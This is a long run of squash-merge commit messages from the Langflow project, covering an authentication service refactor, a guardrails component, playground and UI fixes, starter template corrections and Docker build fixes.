Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Fix: UI Bug: "Lock Flow" Toggle in Export Modal is Non-Functional (#11724)

* fix locked component during export

* added locked flag to flow doc

* new testcases

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix tests

* [autofix.ci] apply automated fixes

* fix: dropdown delete icon hover visibility (#11774)

fix hidden delete button

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: resolve Safari scroll jitter in playground chat views (#11769)

* fix: resolve Safari scroll jitter in playground chat views

Switch StickToBottom resize mode to instant and add a Safari-specific
scroll fix that prevents unnatural jumps while preserving stick-to-bottom
behavior.

* [autofix.ci] apply automated fixes

* fix: add useStickToBottomContext mock to shareable playground tests

* refactor: improve SafariScrollFix reliability and maintainability

- Split into guard/inner components to avoid hooks on non-Safari browsers
- Extract magic numbers into named constants with documentation
- Convert touchStartY closure variable to useRef for proper session scoping
- Remove stopScrollRef indirection, use stopScroll directly in effect deps

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: mock clearSessionMessages to prevent flowStore.getState error in test

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>

* fix: Obsolete "Component Share" shortcut listed in Shortcuts menu (#11775)

remove component share from doc

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix(frontend): add UI feedback for self-deactivation prevention (#11772)

* fix(frontend): add UI feedback for self-deactivation prevention

Disable the Active checkbox with a tooltip when users try to deactivate
their own account. This provides clear UI feedback instead of relying
solely on the backend 403 error. Protection is added in both the Admin
page table view and the user edit modal.

* [autofix.ci] apply automated fixes

* fix: mock clearSessionMessages to prevent flowStore.getState error in test

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>

* fix(frontend): preserve sticky note dimensions when importing via canvas drop (#11770)

* fix(frontend): preserve sticky note dimensions when importing via canvas drop

When dragging a JSON file onto the canvas, the paste function now
preserves width and height properties from the original nodes,
ensuring sticky notes retain their custom dimensions.

* [autofix.ci] apply automated fixes

* fix: mock clearSessionMessages to prevent flowStore.getState error in test


---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>

* rollback playground, inspection panel and shareable playground

* build_component_index

* fix starter templates

* fix: Close button auto-focus creates visual distraction in SaveChanges and FlowLogs modal (#11763)

fix autofocus on close button

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: Outdated Instructional Notes and Provider-Specific Branding (#11680)

* fix: improved note guide for language models nots and Need search

* missing starter projects added

* ensured main flows fit are of standard

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* [autofix.ci] apply automated fixes

* fix(frontend): synchronize Prompt Template input fields on bracket mode toggle (#11777)

* fix(frontend): synchronize Prompt Template input fields on bracket mode toggle

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* [autofix.ci] apply automated fixes

* build component index

* chore: align component_index.json with main

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* fix: reduce Node.js heap size to 4GB in Docker builds to prevent OOM

The Vite frontend build was configured with --max-old-space-size=12288
(12GB), which exceeds available RAM on ARM64 CI runners, causing the
build process to be OOM-killed during the transform phase.

Reduced to 4GB (4096MB) which is sufficient for the Vite build and
prevents OOM kills in memory-constrained Docker BuildKit environments.

* fix: avoid redundant recursive chown on /app in backend Dockerfile

The recursive chown -R on /app was re-owning the entire .venv (~2.6GB,
40k+ files) which was already correctly owned via COPY --chown=1000:0.
This was causing the build to be killed on ARM64 runners.

Changed to non-recursive chown on /app since only the directory itself
needs ownership set. /app/data still gets recursive chown (it's empty).

* fix: add Docker cleanup between image builds to prevent disk full

The 40GB ARM64 runner runs out of disk when building 3 Docker images
sequentially. Each image (main ~8GB layers, backend ~5GB, frontend)
accumulates build cache and layers that exhaust the disk.

Added cleanup steps between builds that:
- Remove the tested image (no longer needed)
- Prune all unused Docker data and buildx cache
- Log disk usage before/after for debugging

---------

Co-authored-by: Gabriel Luiz Freitas Almeida <gabriel@logspace.ai>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Mike Pawlowski <mike.pawlowski@datastax.com>
Co-authored-by: Mike Pawlowski <mpawlow@ca.ibm.com>
Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: ogabrielluiz <24829397+ogabrielluiz@users.noreply.github.com>
Co-authored-by: Deon Sanchez <69873175+deon-sanchez@users.noreply.github.com>
Co-authored-by: codeflash-ai[bot] <148906541+codeflash-ai[bot]@users.noreply.github.com>
Co-authored-by: Lucas Oliveira <62335616+lucaseduoli@users.noreply.github.com>
Co-authored-by: Viktor Avelino <64113566+viktoravelino@users.noreply.github.com>
Co-authored-by: Lucas Democh <ldgoularte@gmail.com>
Co-authored-by: Keval718 <kevalvirat@gmail.com>
Co-authored-by: vjgit96 <vijay.katuri@ibm.com>
Co-authored-by: Cristhian Zanforlin Lousa <cristhian.lousa@gmail.com>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Jordan Frazier <122494242+jordanrfrazier@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>
Co-authored-by: Mendon Kissling <59585235+mendonk@users.noreply.github.com>
Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>
Co-authored-by: Edwin Jose <edwin.jose@datastax.com>
Co-authored-by: Adam-Aghili <149833988+Adam-Aghili@users.noreply.github.com>
Adam-Aghili added a commit that referenced this pull request Feb 24, 2026
* feat: Pluggable AuthService with abstract base class (#10702) (#11654)

feat(auth): Pluggable AuthService with abstract base class (#10702)

* feat: Introduce service registration decorator and enhance ServiceManager for pluggable service discovery

- Added `register_service` decorator to allow services to self-register with the ServiceManager.
- Enhanced `ServiceManager` to support multiple service discovery mechanisms, including decorator-based registration, config files, and entry points.
- Implemented methods for direct service class registration and plugin discovery from various sources, improving flexibility and extensibility of service management.

* feat: Implement VariableService for managing environment variables

- Introduced VariableService class to handle environment variables with in-memory caching.
- Added methods for getting, setting, deleting, and listing variables.
- Included logging for service initialization and variable operations.
- Created an __init__.py file to expose VariableService in the package namespace.

* feat: Enhance LocalStorageService with Service integration and async teardown

- Updated LocalStorageService to inherit from both StorageService and Service for improved functionality.
- Added a name attribute for service identification.
- Implemented an async teardown method for future extensibility, even though no cleanup is currently needed.
- Refactored the constructor to ensure proper initialization of both parent classes.

* feat: Implement telemetry service with abstract base class and minimal logging functionality

- Added `BaseTelemetryService` as an abstract base class defining the interface for telemetry services.
- Introduced `TelemetryService`, a lightweight implementation that logs telemetry events without sending data.
- Created `__init__.py` to expose the telemetry service in the package namespace.
- Ensured robust async methods for logging various telemetry events and handling exceptions.

* feat: Introduce BaseTracingService and implement minimal TracingService

- Added `BaseTracingService` as an abstract base class defining the interface for tracing services.
- Implemented `TracingService`, a lightweight version that logs trace events without external integrations.
- Included async methods for starting and ending traces, tracing components, and managing logs and outputs.
- Enhanced documentation for clarity on method usage and parameters.

* feat: Add unit tests for service registration decorators

- Introduced a new test suite for validating the functionality of the @register_service decorator.
- Implemented tests for various service types including LocalStorageService, TelemetryService, and TracingService.
- Verified behavior for service registration with and without overrides, ensuring correct service management.
- Included tests for custom service implementations and preservation of class functionality.
- Enhanced overall test coverage for the service registration mechanism.

* feat: Add comprehensive unit and integration tests for ServiceManager

- Introduced a suite of unit tests covering edge cases for service registration, lifecycle management, and dependency resolution.
- Implemented integration tests to validate service loading from configuration files and environment variables.
- Enhanced test coverage for various service types including LocalStorageService, TelemetryService, and VariableService.
- Verified behavior for service registration with and without overrides, ensuring correct service management.
- Ensured robust handling of error conditions and edge cases in service creation and configuration parsing.

* feat: Add unit and integration tests for minimal service implementations

- Introduced comprehensive unit tests for LocalStorageService, TelemetryService, TracingService, and VariableService.
- Implemented integration tests to validate the interaction between minimal services.
- Ensured robust coverage for file operations, service readiness, and exception handling.
- Enhanced documentation within tests for clarity on functionality and expected behavior.

* docs: Add detailed documentation for pluggable services architecture and usage

* feat: Add example configuration file for Langflow services

* docs: Update PLUGGABLE_SERVICES.md to enhance architecture benefits section

- Revised the documentation to highlight the advantages of the pluggable service system.
- Replaced the migration guide with a detailed overview of features such as automatic discovery, lazy instantiation, dependency injection, and lifecycle management.
- Clarified examples of service registration and improved overall documentation for better understanding.

* [autofix.ci] apply automated fixes

* test(services): improve variable service teardown test with public API assertions

* docs(pluggable-service-layer): add docstrings for service manager and implementations

* fix: remove duplicate teardown method from LocalStorageService

During rebase, the teardown method was added in two locations (lines 57 and 220).
Removed the duplicate at line 57, keeping the one at the end of the class (line 220)
which is the more appropriate location for cleanup methods.

* fix(tests): update service tests for LocalStorageService constructor changes

- Add MockSessionService fixtures to test files that use ServiceManager
- Update LocalStorageService test instantiation to use mock session and settings services
- Fix service count assertions to account for MockSessionService in fixtures
- Remove duplicate class-level clean_manager fixtures in test_edge_cases.py

These changes fix test failures caused by LocalStorageService requiring
session_service and settings_service parameters instead of just data_dir.

* fix(services): Harden service lifecycle methods

- Fixed Diamond Inheritance in LocalStorageService
- Added Circular Dependency Detection in _create_service_from_class
- Fixed StorageService.teardown to Have Default Implementation

* docs: Update discovery order for pluggable services

* fix(lfx): replace aiofile with aiofiles for CI compatibility

- The aiofile library uses native async I/O (libaio) which fails with
  EAGAIN (SystemError: 11, 'Resource temporarily unavailable') in
  containerized environments like GitHub Actions runners.
- Switch to aiofiles which uses thread pool executors, providing reliable
  async file I/O across all environments including containers.

* [autofix.ci] apply automated fixes

* fix(lfx): prevent race condition in plugin discovery

  The discover_plugins() method had a TOCTOU (time-of-check to time-of-use)
  race condition. Since get() uses a keyed lock (per service name), multiple
  threads requesting different services could concurrently see
  _plugins_discovered=False and trigger duplicate plugin discovery.

  Wrap discover_plugins() with self._lock to ensure thread-safe access to
  the _plugins_discovered flag and prevent concurrent discovery execution.

* [autofix.ci] apply automated fixes

* feat: Introduce service registration decorator and enhance ServiceManager for pluggable service discovery

- Added `register_service` decorator to allow services to self-register with the ServiceManager.
- Enhanced `ServiceManager` to support multiple service discovery mechanisms, including decorator-based registration, config files, and entry points.
- Implemented methods for direct service class registration and plugin discovery from various sources, improving flexibility and extensibility of service management.

* feat: Enhance LocalStorageService with Service integration and async teardown

- Updated LocalStorageService to inherit from both StorageService and Service for improved functionality.
- Added a name attribute for service identification.
- Implemented an async teardown method for future extensibility, even though no cleanup is currently needed.
- Refactored the constructor to ensure proper initialization of both parent classes.

* docs(pluggable-service-layer): add docstrings for service manager and implementations

* feat(auth): implement abstract base class for authentication services and add auth service retrieval function

* refactor(auth): move authentication logic from utils to AuthService

  Consolidate all authentication methods into the AuthService class to
  enable pluggable authentication implementations. The utils module now
  contains thin wrappers that delegate to the registered auth service.

  This allows alternative auth implementations (e.g., OIDC) to be
  registered via the pluggable services system while maintaining
  backward compatibility with existing code that imports from utils.

  Changes:
  - Move all auth logic (token creation, user validation, API key
    security, password hashing, encryption) to AuthService
  - Refactor utils.py to delegate to get_auth_service()
  - Update function signatures to remove settings_service parameter
    (now obtained from the service internally)

* refactor(auth): update authentication methods and remove settings_service parameter

  - Changed function to retrieve current user from access token instead of JWT.
  - Updated AuthServiceFactory to specify SettingsService type in create method.
  - Removed settings_service dependency from encryption and decryption functions, simplifying the code.

This refactor enhances the clarity and maintainability of the authentication logic.

* test(auth): add unit tests for AuthService and pluggable authentication

- Introduced comprehensive unit tests for AuthService, covering token creation, user validation, and authentication methods.
- Added tests for pluggable authentication, ensuring correct delegation to registered services.
- Enhanced test coverage for user authentication scenarios, including active/inactive user checks and token validation.

These additions improve the reliability and maintainability of the authentication system.

* fix(tests): update test cases to use AuthService and correct user retrieval method

- Replaced the mock for retrieving the current user from JWT to access token in the TestSuperuserCommand.
- Refactored unit tests for MCP encryption to utilize AuthService instead of a mock settings service, enhancing test reliability.
- Updated patch decorators in tests to reflect the new method of obtaining the AuthService, ensuring consistency across test cases.

These changes improve the accuracy and maintainability of the authentication tests.

* docs(pluggable-services): add auth_service to ServiceType enum documentation

* fix(auth): Add missing type hints and abstract methods to AuthServiceBase (#10710)




* [autofix.ci] apply automated fixes

* fix(auth): refactor api_key_security method to accept optional database session and improve error handling

* feat(auth): enhance AuthServiceBase with detailed design principles and JIT provisioning methods

* fix(auth): remove settings_service from encrypt/decrypt_api_key calls

After the pluggable auth refactor, encrypt_api_key and decrypt_api_key
no longer take a settings_service argument - they get it internally.

- Update check_key import path in __main__.py (moved to crud module)
- Remove settings_service argument from calls in:
  - api/v1/api_key.py
  - api/v1/store.py
  - services/variable/service.py
  - services/variable/kubernetes.py
- Fix auth service to use session_scope() instead of non-existent
  get_db_service().with_session()

* fix(auth): resolve type errors and duplicate definitions in pluggable auth branch

  - Add missing imports in auth/utils.py (Final, HTTPException, status,
    logger, SettingsService) that prevented application startup
  - Remove duplicate NoServiceRegisteredError class in lfx/services/manager.py
  - Remove duplicate teardown method in lfx/services/storage/local.py
  - Fix invalid settings_service parameter in encrypt_api_key calls
    in variable/service.py and variable/kubernetes.py
  - Add proper type guards for check_key calls to satisfy mypy
  - Add null checks for password fields in users.py endpoints

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* [autofix.ci] apply automated fixes

* replace jose with pyjwt

* [autofix.ci] apply automated fixes

* starter projects

* fix BE mcp tests

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* remive legacy usage of session

* fix user tests

* [autofix.ci] apply automated fixes

* fix lfx tests

* starter project update

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* fix mypy errors

* fix mypy errors on tests

* fix tests for decrypt_api_key

* resolve conflicts in auth utils

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Add pluggable authentication factory with provider enum

* Add SSO feature flags to AuthSettings

* Add SSO fields to User model

* Add SSO configuration loader with YAML support

* Add unit tests for SSO configuration loader

* Add SSO configuration database model and CRUD operations

* Add CRUD operations for SSO configuration management

* Add SSO configuration service supporting both file and database configs

* Add example SSO configuration file with W3ID and other providers

* Implement OIDC authentication service with discovery and JIT provisioning

* Update AuthServiceFactory to instantiate OIDC service when SSO enabled

* Improve JWT token validation and API key decryption error handling

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* fix: resolve ruff linting errors in auth services and add sso-config.yaml to gitignore

* [autofix.ci] apply automated fixes

* fix: use correct function name get_current_user_from_access_token in login endpoint

* fix: remove incorrect settings_service parameter from decrypt_api_key call

* fix: correct encryption logic to properly detect plaintext vs encrypted values

* [autofix.ci] apply automated fixes

* fix tests

* [autofix.ci] apply automated fixes

* fix mypy errors

* fix tests

* [autofix.ci] apply automated fixes

* fix ruff errors

* fix tests in service

* [autofix.ci] apply automated fixes

* fix test security cors

* [autofix.ci] apply automated fixes

* fix webhook issues

* modify component index

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* fix webhook tests

* [autofix.ci] apply automated fixes

* build component index

* remove SSO functionality

* [autofix.ci] apply automated fixes

* fix variable creation

* [autofix.ci] apply automated fixes

* refactor: move MCPServerConfig schema to a separate file and update model_dump usage

* refactor: streamline AuthServiceFactory to use service_class for instance creation

* handle access token type

* [autofix.ci] apply automated fixes

* remove SSO fields from user model

* [autofix.ci] apply automated fixes

* replace is_encrypted back

* fix mypy errors

* remove sso config example

* feat: Refactor framework agnostic auth service (#11565)

* modify auth service layer

* [autofix.ci] apply automated fixes

* fix ruff errorrs

* [autofix.ci] apply automated fixes

* Update src/backend/base/langflow/services/deps.py



* address review comments

* [autofix.ci] apply automated fixes

* fix ruff errors

* remove cache

---------




* move base to lfx

* [autofix.ci] apply automated fixes

* resolve review comments

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* add auth protocol

* [autofix.ci] apply automated fixes

* revert models.py execption handling

* revert wrappers to ensure backwards compatibility

* fix http error code

* fix FE tests

* fix test_variables.py

* [autofix.ci] apply automated fixes

* fix ruff errors

* fix tests

* add wrappers for create token methods

* fix ruff errors

* [autofix.ci] apply automated fixes

* update error message

* modify status code for inactive user

* fix ruff errors

* fix patch for webhook tests

* fix error message when getting active users

---------

Co-authored-by: Gabriel Luiz Freitas Almeida <gabriel@logspace.ai>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Mike Pawlowski <mike.pawlowski@datastax.com>
Co-authored-by: Mike Pawlowski <mpawlow@ca.ibm.com>
Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: ogabrielluiz <24829397+ogabrielluiz@users.noreply.github.com>
Co-authored-by: Deon Sanchez <69873175+deon-sanchez@users.noreply.github.com>
Co-authored-by: codeflash-ai[bot] <148906541+codeflash-ai[bot]@users.noreply.github.com>

* fix: adjusted textarea and playground paddings and design (#11635)

* revert textarea to old classes

* fixed text-area-wrapper to handle initial height when value is calculated

* fixed playground padding

* fixed no input text size

* [autofix.ci] apply automated fixes

* fixed flaky test

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* feat: create guardrails component (#11451) (#11671)

* Create guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Update guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* tests: add unit tests for GuardrailsComponent functionality

* [autofix.ci] apply automated fixes

* fix: resolve linting errors in GuardrailsComponent and tests

- Fix line length issues (E501) by breaking long strings
- Fix docstring formatting (D205, D415) in _check_guardrail
- Use ternary operator for response content extraction (SIM108)
- Replace magic value with named constant (PLR2004)
- Move return to else block per try/except best practices (TRY300)
- Catch specific exceptions instead of blind Exception (BLE001)
- Use list comprehension for checks_to_run (PERF401)
- Mark unused variables with underscore prefix (RUF059, F841)
- Add noqa comment for intentionally unused mock argument (ARG002)

* [autofix.ci] apply automated fixes

* refactor: address pr comments

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes

* feat: enhance heuristic detection with configurable threshold and scoring system

* refactor: simplify heuristic test assertions by removing unused variable

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* feat: enhance guardrail validation logic and input handling

* refactor: streamline import statements and clean up whitespace in guardrails component

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Fix: update empty input handling tests to raise ValueError and refactor related assertions

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* feat: add Guardrails component with unit tests

Add LLM-based guardrails component for detecting PII, tokens/passwords,
jailbreak attempts, and custom guardrail rules, along with comprehensive
unit tests.

* [autofix.ci] apply automated fixes

* fix: try removing logs

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Lucas Democh <ldgoularte@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: added remove file from file input (#11667)

* Implemented dismiss file functionality on input file component

* fixed hover behavior

* added test for removing file from input

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: make connected inputs not hideable (#11672)

* fixed react flow utils to clean advanced edges

* Make connected handles not be able to be hidden

* Added test for hiding connected handles

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: make tooltip not appear when closing SessionMore (#11703)

fix tooltip showing up when closing select

* fix(frontend): prevent multiple session menus from stacking in fullscreen mode

* [autofix.ci] apply automated fixes

* fix(frontend): prevent crash when renaming empty sessions (#11712)

* fix(frontend): prevent crash when renaming empty sessions

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(ci): handle PEP 440 normalized versions in pre-release tag script (#11722)

The regex in langflow_pre_release_tag.py expected a dot before `rc`
(e.g. `1.8.0.rc0`), but PyPI returns PEP 440-normalized versions
without the dot (e.g. `1.8.0rc0`). This caused the script to recompute
the same version instead of incrementing, and `uv publish` silently
skipped the duplicate upload.

Update the regex to accept both formats with `\.?rc`.

* fix: align chat history with input field in fullscreen playground (#11725)

* fix: align chat history with input field in fullscreen playground

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: Enforce Webhook singleton rule on paste and duplicate                                                                         (#11692)

* fix singleton webhook on flow

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(frontend): generate unique variable names in Prompt Template Add Variable button (#11723)

* fix: generate unique variable names in Prompt Template Add Variable button

Previously, clicking the Add Variable button always inserted {variable_name},
causing duplicate text without creating new input fields. Now the button
generates incremental names (variable_name, variable_name_1, variable_name_2)
by checking existing variables in the template.

* refactor: extract generateUniqueVariableName and import in tests

Extract the variable name generation logic into an exported function
so tests can import and validate the actual production code instead
of testing a duplicated copy of the logic.

* FIX: Broken Connection Edge Rendering in YouTube Analysis Template (#11709)

add edge between components

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: synchronize prompt state, add new mustache prompt component (#11702)

* Update state when exiting modal on accordion prompt component

* Added isDoubleBrackets and show correct modal and use correct brackets when mustache is enabled

* [autofix.ci] apply automated fixes

* added test to see if state is synchronized and mustache is enabled

* [autofix.ci] apply automated fixes

* updated mustache id and removed extra prompt call

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>

* fix(frontend): add Safari-specific padding for playground chat messages (#11720)

* fix(frontend): add Safari-specific padding for playground chat messages

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: correctly pass headers in mcp stdio connections (#11746)

* fix: parse dicts from tweaks (#11753)

* Correctly parse dicts from tweaks

* Add test

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: sessions overflow issue (#11739)

fix: sessions overflow issue

* feat: playground UI fixes, inspector improvements & canvas reorganization (#11751)

* merge fix

* code improvements

* [autofix.ci] apply automated fixes

* add stop button and fix scroll on message

* [autofix.ci] apply automated fixes

* add new message content for sharable pg

* fix tests until shard 43

* [autofix.ci] apply automated fixes

* fix(frontend): clean up MemoizedSidebarTrigger imports and transition classes

Sort imports, add type modifier to AllNodeType import, and split long transition class string for readability.

* fix tests

* [autofix.ci] apply automated fixes

* fix mr test

* fix jest tests

* fix sidebar jest tes

* [autofix.ci] apply automated fixes

* fix sharable playground

* [autofix.ci] apply automated fixes

* remove rename from sharable pg

* [autofix.ci] apply automated fixes

* add new message content for sharable pg

* fix: synchronize prompt state, add new mustache prompt component (#11702)

* Update state when exiting modal on accordion prompt component

* Added isDoubleBrackets and show correct modal and use correct brackets when mustache is enabled

* [autofix.ci] apply automated fixes

* added test to see if state is synchronized and mustache is enabled

* [autofix.ci] apply automated fixes

* updated mustache id and removed extra prompt call

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>

* fix(frontend): add Safari-specific padding for playground chat messages (#11720)

* fix(frontend): add Safari-specific padding for playground chat messages

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: correctly pass headers in mcp stdio connections (#11746)

* fix sharable playground

* [autofix.ci] apply automated fixes

* remove rename from sharable pg

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* fix sharable playground

* fix mcp server to use shell lexer

* [autofix.ci] apply automated fixes

* fix tests

* fix outaded component tests

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Lucas Oliveira <62335616+lucaseduoli@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: keval shah <kevalvirat@gmail.com>
Co-authored-by: Jordan Frazier <122494242+jordanrfrazier@users.noreply.github.com>

* fix: correct field_order in all starter project JSON templates (#11727)

* fix: correct field_order in all starter project JSON templates

The field_order arrays in starter project nodes were out of sync with
the actual input definitions in the Python component source files,
causing parameters to display in the wrong order in the UI.

Fixed 136 nodes across 32 starter project files including Chat Input,
Chat Output, Language Model, Agent, Prompt Template, Text Input,
Tavily AI Search, Read File, Embedding Model, and others.

* test: add field_order validation test for starter projects

Verifies that field_order arrays in starter project JSONs match the
actual component input order by importing each component and comparing
the relative ordering of fields.

* fix mcp server to use shell lexer

* [autofix.ci] apply automated fixes

* fix: enforce full field_order in starter projects and add node overlap test

Update all starter project JSONs to include the complete component
field_order instead of a subset, preventing layout inconsistency
between template and sidebar. Strengthen the field_order test to
require an exact match and add a new test that verifies no two
generic nodes overlap on the canvas.

---------

Co-authored-by: cristhianzl <cristhian.lousa@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: dict tweak parsing (#11756)

* Fix dict handling of different formats

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* cmp index

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* Fix: The Prompt component has responsiveness issues (#11713)

improve styling of templete input

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* clear session on delete chat

* fix(api): prevent users from deactivating their own account (#11736)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* Fix:  UI Overlay: Chat Input Component Overlapping README Note (#11710)

* move chat input arround for travel json starter template

* improve the layout of the component

* fix layout

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: Google Generative AI model catalog update (#11735)

* fix: Filter out MCP and models_and_agents categories and MCPTools component from sidebar (#11513)

* fix: hide MCP tool from model & agent

* fix: removing mcp searching

* fix testcases

* fix testcases

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>

* fix: Fix flaky Market Research test timeout on CI  (#11665)

* add wait for statement to prevent race condition

* fix flaky global variable

* add input selection

* [autofix.ci] apply automated fixes

* add disable inspect panel util

* [autofix.ci] apply automated fixes

* fix vector store test

* [autofix.ci] apply automated fixes

* use disable inspect pannel utils

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* ci: make docs deployment manual-only (#11602)

feat: update GitHub Actions workflow to allow manual branch selection for docs deployment

* fix: handle missing capabilities in Ollama API response (#11603)

* fix: handle missing capabilities in Ollama API response

Older Ollama versions don't return the `capabilities` field from
`/api/show`. The previous code defaulted to an empty list and required
"completion" capability, filtering out all models.

Now we treat missing capabilities as backwards-compatible: assume the
model supports completion unless tool_model_enabled is True (where we
can't verify tool support without the capabilities field).

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

* test: add test cases for Ollama backwards compatibility fix

Add tests for get_models handling of missing capabilities field:
- test_get_models_missing_capabilities_without_tool_model
- test_get_models_missing_capabilities_with_tool_model
- test_get_models_mixed_capabilities_response

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

